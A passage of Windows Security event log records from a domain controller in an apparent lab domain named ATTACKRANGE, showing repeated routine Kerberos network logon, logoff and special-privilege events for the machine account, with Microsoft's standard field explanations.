	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCE8A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248954
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCCE8A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64088

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248953
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCE8A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248952
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCE24

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248951
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCCE24
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64087

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248950
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCE24

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248949
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCDC3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248948
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCCDC3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64086

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248947
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCDC3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248970
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD090

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248969
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD090
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64093

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248968
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD090

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248967
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD02F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248966
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD02F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64092

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248965
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD02F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248964
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCFC9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248963
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCCFC9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64091

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248962
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCFC9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248961
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCF68

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248960
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCCF68
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64090

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248959
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCF68

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248982
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD221

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248981
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD221
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64097

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248980
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD221

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248979
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD1C0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248978
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD1C0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64096

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248977
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD1C0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248976
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD15A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248975
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD15A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
